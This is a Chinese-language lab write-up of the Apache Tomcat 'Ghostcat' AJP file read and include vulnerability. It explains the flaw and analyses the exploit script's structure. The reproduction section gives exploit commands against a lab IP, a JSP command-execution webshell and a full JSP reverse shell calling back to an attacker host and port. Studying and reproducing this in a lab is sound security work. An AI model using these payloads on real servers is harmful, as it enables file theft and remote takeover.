一、漏洞描述
Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).
二、危险等级
高危
三、漏洞危害
攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害
四、影响范围
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
五、前提条件
对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009 。
六、漏洞原理
Tomcat 配置了两个Connector,Connector组件的主要职责就是负责接收客户端连接和客户端请求的处理加工。它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致。
攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。
浏览器不能直接支持AJP协议。所以实际通过Apache的proxy_ajp模块进行反向代理,暴露成http协议(8009端口)给客户端访问
相关的配置文件在conf/server.xml。
构造两个不同的请求,经过tomcat内部处理流程,一个走default servlet(DefaultServlet),另一个走jsp servlet(JspServlet),可导致的不同的漏洞。
文件读取漏洞走的是DefaultServlet,文件包含漏洞走的是JspServlet。
七、部署靶机环境
靶机:ubuntu22.04
配置:可以看看这个,无脑操作(当然可以使用docker)
在 Ubuntu 20.04 上安装 Apache Tomcat 教程 - Bandwagonhost中文网-Bandwagonhost中文网
攻击机:Linux kali2023
八、复现过程
1、探测IP
2、任意文件读取
下载Exp:
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi/
chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py
读取文件内容(-f后即是指定的文件):
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f WEB-INF/web.xml
Python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f index.jsp
3.任意文件包含(这个需要结合文件上传漏洞)
这里自己上传了一个木马到ROOT目录:test.txt
脚本内容:
<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>
访问一下是可达的
修改Poc:
主要是这,将/asdf改成/asdf.jspx
执行脚本
python2 cvefileinclude.py 192.168.155.184 -p 8009 -f test.txt
成功
尝试反弹shell:
脚本:
<%@page import="java.lang.*, java.util.*, java.io.*, java.net.*"%>
<%
try {
String host = "192.168.155.166";
int port = 9001;
Socket socket = new Socket();
socket.connect(new InetSocketAddress(host, port), 2000);
Process process;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
process = new ProcessBuilder("cmd.exe").redirectErrorStream(true).start();
} else {
process = new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();
}
InputStream pin = process.getInputStream();
InputStream perr = process.getErrorStream();
OutputStream pout = process.getOutputStream();
InputStream sin = socket.getInputStream();
OutputStream sout = socket.getOutputStream();
while(!socket.isClosed()) {
while(pin.available() > 0) sout.write(pin.read());
while(perr.available() > 0) sout.write(perr.read());
while(sin.available() > 0) pout.write(sin.read());
sout.flush();
pout.flush();
}
process.destroy();
socket.close();
} catch (Exception e) {}
%>
九、POC解析
(一)引入的包及作用
1、struct:用于处理二进制数据,AJP协议基于二进制
2、socket:建立与Tomcat服务器的AJP端口的TCP连接,发送构造的恶意请求并接收响应。
3、argparse:解析命令行参数
4、StringIO(隐式引入):在AjpForwardRequest.parse() 中,用于将二进制数据流转换为类文件对象,便于流式解析
(二)函数
Pack_strings:函数
将字符串 s 按特定二进制格式序列化:[2字节长度] + [字符串字节数据] + [1字节的0]
>h: 表示大端(Big-endian)的有符号短整数(2字节)
>H:大端的无符号短整数(2字节)
%ds:动态长度的字节串(例如 5s 表示 5 字节),对应 s 的 UTF-8 编码数据。
b:一个有符号字节(1字节),固定为 0
大端序是最高有效字节在前,小端是最低有效字节在前。AJP协议是基于TCP的,而网络传输通常采用大端序,也就是网络字节序。同时Tomcat AJP协议(Apache JServ Protocol)明确要求所有字段以大端序编码,且字符串以 \0
结尾
Unpack函数
解包二进制数据,返回一个元组
计算需要读取的字节数à读取字节à按照格式解析读取到的字节
unpack_string函数
从二进制流中解析 AJP 协议格式字符串,记住前两个字节表示整个字节流的长度
(三)类
AjpBodyRequest类
处理客户端与服务器之间的数据传输
数据传输方向:
读取字节à空则返回数据头,非空则添加数据长度à根据方向拼接数据并返回
循环发送数据块 → 等待服务器指令 → 根据指令决定是否继续发送
GET_BODY_CHUNK:表示对方要求发送下一个数据块(用于分片传输)。
SEND_HEADERS:表示对方已发送响应头,需结束数据传输。
len(data) == 4:表示空包
AjpForwardRequest类
构造和发送AJP请求到目标服务器
分配数值标识符,AJP协议要求将HTTP方法以数值而不是字符串形式传输
后面定义标准请求头和请求属性
SC_REQ:该头是 AJP协议预定义的标准头
区分预定义头和自定义头,将HTTP请求头按AJP协议规范序列化为二进制数据
若属性名为req_attribute,表示这是一个嵌套属性,其值需拆分为两个部分(名,值)à打包属性(名)值。看到这里可以基本明白漏洞原理。
AJP 协议未对 javax.servlet.include.* 属性进行安全校验,攻击者通过伪造请求头实现 路径穿越。通过设置req_attribute 属性,注入恶意路径,触发 Tomcat 解析任意文件,从而泄露敏感信息。例如:{'name':'req_attribute', 'value':['javax.servlet.include.path_info', 'WEB-INF/web.xml']},
在属性列表末尾添加 0xFF,表示 属性序列结束
Serialize函数:生成二进制数据包
Parse函数:解析接收到的AJP协议数据包,将其转换为结构化的请求对象
send_and_receive函数:处理AJP协议的请求发送和响应接收
参数传入
/asdf 是用于触发 AJP 文件包含漏洞的任意路径,实现路径覆盖,访问目标文件